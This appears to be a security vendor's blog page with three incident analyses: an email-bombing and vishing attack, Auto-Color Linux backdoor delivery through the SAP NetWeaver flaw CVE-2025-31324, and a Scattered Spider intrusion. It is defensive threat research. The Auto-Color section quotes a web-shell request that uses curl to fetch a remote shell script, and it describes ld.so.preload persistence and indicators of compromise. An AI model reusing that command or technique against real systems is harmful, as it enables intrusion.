Email bombing exposed: Darktrace’s email defense in action
Darktrace detected an email bomb attack flooding inboxes with high volumes of messages, uncovering unusual email patterns and subsequent network anomalies.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Maria Geronikolou
Cyber Analyst
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10
Apr 2025
What is email bombing?
An email bomb attack, also known as a "spam bomb," is a cyberattack where a large volume of emails—ranging from as few as 100 to as many as several thousand—are sent to victims within a short period.
How does email bombing work?
Email bombing is a tactic that typically aims to disrupt operations and conceal malicious emails, potentially setting the stage for further social engineering attacks. Parallels can be drawn to the use of Domain Generation Algorithm (DGA) endpoints in Command-and-Control (C2) communications, where an attacker generates new and seemingly random domains in order to mask their malicious connections and evade detection.
In an email bomb attack, threat actors typically sign up their targeted recipients to a large number of email subscription services, flooding their inboxes with indirectly subscribed content [1].
In early 2025, Darktrace detected an email bomb attack where malicious actors flooded a customer's inbox while also employing social engineering techniques, specifically voice phishing (vishing). The end goal appeared to be infiltrating the customer's network by exploiting legitimate administrative tools for malicious purposes.
The emails in these attacks often bypass traditional email security tools because they are not technically classified as spam, due to the assumption that the recipient has subscribed to the service. Darktrace / EMAIL's behavioral analysis identified the mass of unusual, albeit not inherently malicious, emails that were sent to this user as part of this email bombing attack.
Email bombing attack overview
In February 2025, Darktrace observed an email bombing attack where a user received over 150 emails from 107 unique domains in under five minutes. Each of these emails bypassed a widely used and reputable Security Email Gateway (SEG) but were detected by Darktrace / EMAIL.
Figure 1: Graph showing the unusual spike in unusual emails observed by Darktrace / EMAIL.
The emails varied in senders, topics, and even languages, with several identified as being in German and Spanish. The most common theme in the subject line of these emails was account registration, indicating that the attacker used the victim’s address to sign up to various newsletters and subscriptions, prompting confirmation emails. Such confirmation emails are generally considered both important and low risk by email filters, meaning most traditional security tools would allow them without hesitation.
Additionally, many of the emails were sent using reputable marketing tools, such as Mailchimp’s Mandrill platform, which was used to send almost half of the observed emails, further adding to their legitimacy.
Figure 2: Darktrace / EMAIL’s detection of an email being sent using the Mandrill platform.
Figure 3: Darktrace / EMAIL’s detection of a large number of unusual emails sent during a short period of time.
While the individual emails detected were typically benign, such as the newsletter from a legitimate UK airport shown in Figure 3, the harmful aspect was the swarm effect caused by receiving many emails within a short period of time.
Traditional security tools, which analyze emails individually, often struggle to identify email bombing incidents. However, Darktrace / EMAIL recognized the unusual volume of new domain communication as suspicious. Had Darktrace / EMAIL been enabled in Autonomous Response mode, it would have automatically held any suspicious emails, preventing them from landing in the recipient’s inbox.
Figure 4: Example of Darktrace / EMAIL’s response to an email bombing attack taken from another customer environment.
Following the initial email bombing, the malicious actor made multiple attempts to engage the recipient in a call using Microsoft Teams, while spoofing the organizations IT department in order to establish a sense of trust and urgency – following the spike in unusual emails the user accepted the Teams call. It was later confirmed by the customer that the attacker had also targeted over 10 additional internal users with email bombing attacks and fake IT calls.
The customer also confirmed that malicious actor successfully convinced the user to divulge their credentials with them using the Microsoft Quick Assist remote management tool. While such remote management tools are typically used for legitimate administrative purposes, malicious actors can exploit them to move laterally between systems or maintain access on target networks. When these tools have been previously observed in the network, attackers may use them to pursue their goals while evading detection, commonly known as Living-off-the-Land (LOTL).
Subsequent investigation by Darktrace’s Security Operations Centre (SOC) revealed that the recipient's device began scanning and performing reconnaissance activities shortly following the Teams call, suggesting that the user inadvertently exposed their credentials, leading to the device's compromise.
Darktrace’s Cyber AI Analyst was able to identify these activities and group them together into one incident, while also highlighting the most important stages of the attack.
Figure 5: Cyber AI Analyst investigation showing the initiation of the reconnaissance/scanning activities.
The first network-level activity observed on this device was unusual LDAP reconnaissance of the wider network environment, seemingly attempting to bind to the local directory services. Following successful authentication, the device began querying the LDAP directory for information about user and root entries. Darktrace then observed the attacker performing network reconnaissance, initiating a scan of the customer’s environment and attempting to connect to other internal devices. Finally, the malicious actor proceeded to make several SMB sessions and NTLM authentication attempts to internal devices, all of which failed.
Figure 6: Device event log in Darktrace / NETWORK, showing the large volume of connections attempts over port 445.
Figure 7: Darktrace / NETWORK’s detection of the number of the login attempts via SMB/NTLM.
While Darktrace’s Autonomous Response capability suggested actions to shut down this suspicious internal connectivity, the deployment was configured in Human Confirmation Mode. This meant any actions required human approval, allowing the activities to continue until the customer’s security team intervened. If Darktrace had been set to respond autonomously, it would have blocked connections to port 445 and enforced a “pattern of life” to prevent the device from deviating from expected activities, thus shutting down the suspicious scanning.
Conclusion
Email bombing attacks can pose a serious threat to individuals and organizations by overwhelming inboxes with emails in an attempt to obfuscate potentially malicious activities, like account takeovers or credential theft. While many traditional gateways struggle to keep pace with the volume of these attacks—analyzing individual emails rather than connecting them and often failing to distinguish between legitimate and malicious activity—Darktrace is able to identify and stop these sophisticated attacks without latency.
Thanks to its Self-Learning AI and Autonomous Response capabilities, Darktrace ensures that even seemingly benign email activity is not lost in the noise.
Credit to Maria Geronikolou (Cyber Analyst and SOC Shift Supervisor) and Cameron Boyd (Cyber Security Analyst), Steven Haworth (Senior Director of Threat Modeling), Ryan Traill (Analyst Content Lead)
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Darktrace Collaborates with Microsoft: Unifying Email Security with a Shared Vision
Darktrace and Microsoft have joined forces to enhance email security through a new integration, unifying threat response and quarantine capabilities. This collaboration strengthens defenses and streamlines visibility for security teams, reflecting a shared vision for proactive cyber protection.
Por qué los enfoques de seguridad del e-mail centrados en ataques no pueden hacer frente a las amenazas modernas.
Despite evolving email threats, many organizations still rely on SEGs or outdated, attack-focused methods. These approaches can’t counter advanced, AI-driven attacks. The solution? Business-centric email security that understands users and inbox behavior, not just threats.
Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion
In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.
Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.
After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.
They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.
Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.
What is CVE-2025-31324?
On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.
What is Auto-Color Backdoor Malware?
The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).
Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].
What does Auto-Color Backdoor Malware do?
It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.
Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.
How does Auto-Color work?
The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.
If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.
Gaining persistence through preload manipulation
To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.
Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.
A delayed payload activated by outbound communication
To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].
Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.
If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.
In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.
Darktrace’s coverage of the Auto-Color malware
Initial alert to Darktrace’s SOC
On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.
Figure 1: A timeline breaking down the stages of the attack
Early signs of unusual activity detected by Darktrace
While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.
Initial compromise via ZIP file download followed by DNS tunnelling requests
In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.
The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.
The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.
OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.
Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.
Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.
Continued malicious activity
The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).
Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.
In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.
Execution
This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].
Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.
The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].
Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.
Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.
A deeper investigation into the attack
Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].
Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.
During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.
Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.
At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.
Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.
Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.
Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.
While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.
Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.
Conclusion
Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.
From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.
Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)
Appendices
MITRE ATT&CK Mapping
Malware - RESOURCE DEVELOPMENT - T1588.001
Drive-by Compromise - INITIAL ACCESS - T1189
Data Obfuscation - COMMAND AND CONTROL - T1001
Non-Standard Port - COMMAND AND CONTROL - T1571
Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003
Masquerading - DEFENSE EVASION - T1036
Application Layer Protocol - COMMAND AND CONTROL - T1071
Unix Shell – EXECUTION - T1059.004
LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006
Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005
Untangling the web: Darktrace’s investigation of Scattered Spider’s evolving tactics
What is Scattered Spider?
Scattered Spider is a native English-speaking group, also referred to, or closely associated with, aliases such as UNC3944, Octo Tempest and Storm-0875. They are primarily financially motivated with a clear emphasis on leveraging social engineering, SIM swapping attacks, exploiting legitimate tooling as well as using Living-Off-the-Land (LOTL) techniques [1][2].
In recent years, Scattered Spider has been observed employing a shift in tactics, leveraging Ransomware-as-a-Service (RaaS) platforms in their attacks. This adoption reflects a shift toward more scalable attacks with a lower barrier to entry, allowing the group to carry out sophisticated ransomware attacks without the need to develop it themselves.
While RaaS offerings have been available for purchase on the Dark Web for several years, they have continued to grow in popularity, providing threat actors a way to cause significant impact to critical infrastructure and organizations without requiring highly technical capabilities [12].
This blog focuses on the group’s recent changes in tactics, techniques, and procedures (TTPs) reported by open-source intelligence (OSINT) and how TTPs in a recent Scattered Spider attack observed by Darktrace compare.
How has Scattered Spider been reported to operate?
First observed in 2022, Scattered Spider is known to target various industries globally including telecommunications, technology, financial services, and commercial facilities.
Overview of key TTPs
Scattered Spider has been known to utilize the following methods which cover multiple stages of the Cyber Kill Chain including initial access, lateral movement, evasion, persistence, and action on objective:
Social engineering [1]:
Impersonating staff via phone calls, SMS and Telegram messages; obtaining employee credentials (MITRE techniques T1598,T1656), multi-factor authentication (MFA) codes such as one-time passwords, or convincing employees to run commercial remote access tools enabling initial access (MITRE techniques T1204,T1219,T1566)
Phishing using specially crafted domains containing the victim name e.g. victimname-sso[.]com
MFA fatigue: sending repeated requests for MFA approval with the intention that the victim will eventually accept (MITRE technique T1621)
SIM swapping [1][3]:
Includes hijacking phone numbers to intercept 2FA codes
This involves the actor migrating the victim's mobile number to a new SIM card without legitimate authorization
Reconnaissance, lateral movement & command-and-control (C2) communication via use of legitimate tools:
Examples include Mimikatz, Ngrok, TeamViewer, and Pulseway [1]. A more recently reported example is Teleport [3].
Financial theft through their access to victim networks: Extortion via ransomware, data theft (MITRE technique T1657) [1]
Bring Your Own Vulnerable Driver (BYOVD) techniques [4]:
Exploiting vulnerable drivers to evade detection from Endpoint Detection and Response (EDR) security products (MITRE technique T1068) frequently used against Windows devices.
LOTL techniques
LOTL techniques are also closely associated with Scattered Spider actors once they have gained initial access; historically this has allowed them to evade detection until impact starts to be felt. It also means that specific TTPs may vary from case-to-case, making it harder for security teams to prepare and harden defences against the group.
Prominent Scattered Spider attacks over the years
While attribution is sometimes unconfirmed, Scattered Spider have been linked with a number of highly publicized attacks since 2022.
Smishing attacks on Twilio: In August 2022 the group conducted multiple social engineering-based attacks. One example was an SMS phishing (smishing) attack against the cloud communication platform Twilio, which led to the compromise of employee accounts, allowing actors to access internal systems and ultimately target Twilio customers [5][6].
Phishing and social engineering against MailChimp: Another case involved a phishing and social engineering attack against MailChimp. After gaining access to internal systems through compromised employee accounts the group conducted further attacks specifically targeting MailChimp users within cryptocurrency and finance industries [5][7].
Social engineering against Riot Games: In January 2023, the group was linked with an attack on video game developer Riot Games where social engineering was once again used to access internal systems. This time, the attackers exfiltrated game source code before sending a ransom note [8][9].
Attack on Caesars & MGM: In September 2023, Scattered Spider was linked with attacked on Caesars Entertainment and MGM Resorts International, two of the largest casino and gambling companies in the United States. It was reported that the group gathered nearly six terabytes of stolen data from the hotels and casinos, including sensitive information of guests, and made use of the RaaS strain BlackCat [10].
Ransomware against Marks & Spencer: More recently, in April 2025, the group has also been linked to the alleged ransomware incident against the UK-based retailer Marks & Spencer (M&S) making use of the DragonForce RaaS [11].
How a recent attack observed by Darktrace compares
In May 2025, Darktrace observed a Scattered Spider attack affecting one of its customers. While initial access in this attack fell outside of Darktrace’s visibility, information from the affected customer suggests similar social engineering techniques involving abuse of the customer’s helpdesk and voice phishing (vishing) were used for reconnaissance.
Initial access
It is believed the threat actor took advantage of the customer’s third-party Software-as-a-Service (SaaS) applications, such as Salesforce during the attack.
Such applications are a prime target for data exfiltration due to the sensitive data they hold; customer, personnel, and business data can all prove useful in enabling further access into target networks.
Techniques used by Scattered Spider following initial access to a victim network tend to vary more widely and so details are sparser within OSINT. However, Darktrace is able to provide some additional insight into what techniques were used in this specific case, based on observed activity and subsequent investigation by its Threat Research team.
Lateral movement
Following initial access to the customer’s network, the threat actor was able to pivot into the customer’s Virtual Desktop Infrastructure (VDI) environment.
Darktrace observed the threat actor spinning up new virtual machines and activating cloud inventory management tools to enable discovery of targets for lateral movement.
In some cases, these virtual machines were not monitored or managed by the customer’s security tools, allowing the threat actor to make use of additional tooling such as AnyDesk which may otherwise have been blocked.
Tooling in further stages of the attack sometimes overlapped with previous OSINT reporting on Scattered Spider, with anomalous use of Ngrok and Teleport observed by Darktrace, likely representing C2 communication. Additional tooling was also seen being used on the virtual machines, such as Pastebin.
Figure 1: Cyber AI Analyst’s detection of C2 beaconing to a teleport endpoint with hostname CUSTOMERNAME.teleport[.]sh, likely in an attempt to conceal the traffic.
Leveraging LOTL techniques
Alongside use of third-party tools that may have been unexpected on the network, various LOTL techniques were observed during the incident; this primarily involved the abuse of standard network protocols such as:
SAMR requests to alter Active Directory account details
Lateral movement over RDP and SSH
Data collection over LDAP and SSH
Coordinated exfiltration activity linked through AI-driven analysis
Multiple methods of exfiltration were observed following internal data collection. This included SSH transfers to IPs associated with Vultr, alongside significant uploads to an Amazon S3 bucket.
While connections to this endpoint were not deemed unusual for the network at this stage due to the volume of traffic seen, Darktrace’s Cyber AI Analyst was still able to identify the suspiciousness of this behavior and launched an investigation into the activity.
Cyber AI Analyst successfully correlated seemingly unrelated internal download and external upload activity across multiple devices into a single, broader incident for the customer’s security team to review.
Figure 2: Cyber AI Analyst Incident summary showing a clear outline of the observed activity, including affected devices and the anomalous behaviors detected.
Figure 3: Cyber AI Analyst’s detection of internal data downloads and subsequent external uploads to an Amazon S3 bucket.
Exfiltration and response
Unfortunately, as Darktrace was not configured in Autonomous Response mode at the time, the attack was able to proceed without interruption, ultimately escalating to the point of data exfiltration.
Despite this, Darktrace was still able to recommend several Autonomous Response actions, aimed at containing the attack by blocking the internal data-gathering activity and the subsequent data exfiltration connections.
These actions required manual approval by the customer’s security team and as shown in Figure 3, at least one of the recommended actions was subsequently approved.
Had Darktrace been enabled in Autonomous Response mode, these measures would have been applied immediately, effectively halting the data exfiltration attempts.
Figure 4: Further recommendations for Autonomous Response actions in Darktrace‘s Incident Interface, with surgical response targeting both the internal data collection and subsequent exfiltration.
Scattered Spider’s use of RaaS
In this recent Scattered Spider incident observed by Darktrace, exfiltration appears to have been the primary impact. While no signs of ransomware deployment were observed here, it is possible that this was the threat actors’ original intent, consistent with other recent Scattered Spider attacks involving RaaS platforms like DragonForce.
DragonForce emerged towards the end of 2023, operating by offering their platform and capabilities on a wide scale. They also launched a program which offered their affiliates 80% of the eventual ransom, along with tools for further automation and attack management [13].
The rise of RaaS and attacker customization is fragmenting TTPs and indicators, making it harder for security teams to anticipate and defend against each unique intrusion.
While DragonForce appears to be the latest RaaS used by Scattered Spider, it is not the first, showcasing the ongoing evolution of tactics used the group.
In addition, the BlackCat RaaS strain was reportedly used by Scattered Spider for their attacks against Caesars Entertainment and MGM Resorts International [10].
In 2024 the group was also seen making use of additional RaaS strains; RansomHub and Qilin [15].
What security teams and CISOs can do to defend against Scattered Spider
The ongoing changes in tactics used by Scattered Spider, reliance on LOTL techniques, and continued adoption of evolving RaaS providers like DragonForce make it harder for organizations and their security teams to prepare their defenses against such attacks.
CISOs and security teams should implement best practices such as MFA, Single Sign-On (SSO), notifications for suspicious logins, forward logging, ethical phishing tests.
Also, given Scattered Spider’s heavy focus on social engineering, and at times using their native English fluency to their advantage, it is critical to IT and help desk teams are reminded they are possible targets.
Beyond social engineering, the threat actor is also adept at taking advantage of third-party SaaS applications in use by victims to harvest common SaaS data, such as PII and configuration data, that enable the threat actor to take on multiple identities across different domains.
With Darktrace’s Self-Learning AI, anomaly-based detection, and Autonomous Response inhibitors, businesses can halt malicious activities in real-time, whether attackers are using known TTPs or entirely new ones. Offerings such as Darktrace /Attack Surface Management enable security teams to proactively identify signs of malicious activity before it can cause an impact, while more generally Darktrace’s ActiveAI Security Platform can provide a comprehensive view of an organization’s digital estate across multiple domains.
Credit to Justin Torres (Senior Cyber Analyst), Emma Foulger (Global Threat Research Operations Lead), Zaki Al-Dhamari (Cyber Analyst), Nathaniel Jones (VP, Security & AI Strategy, FCISO), and Ryan Traill (Analyst Content Lead)
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The information provided in this blog post is for general informational purposes only and is provided "as is" without any representations or warranties, express or implied. While Darktrace makes reasonable efforts to ensure the accuracy and timeliness of the content related to cybersecurity threats such as Scattered Spider, we make no warranties or guarantees regarding the completeness, reliability, or suitability of the information for any purpose.
This blog post does not constitute professional cybersecurity advice, and should not be relied upon as such. Readers should seek guidance from qualified cybersecurity professionals or legal counsel before making any decisions or taking any actions based on the content herein.
No warranty of any kind, whether express or implied, including, but not limited to, warranties of performance, merchantability, fitness for a particular purpose, or non-infringement, is given with respect to the contents of this post.
Darktrace expressly disclaims any liability for any loss or damage arising from reliance on the information contained in this blog.
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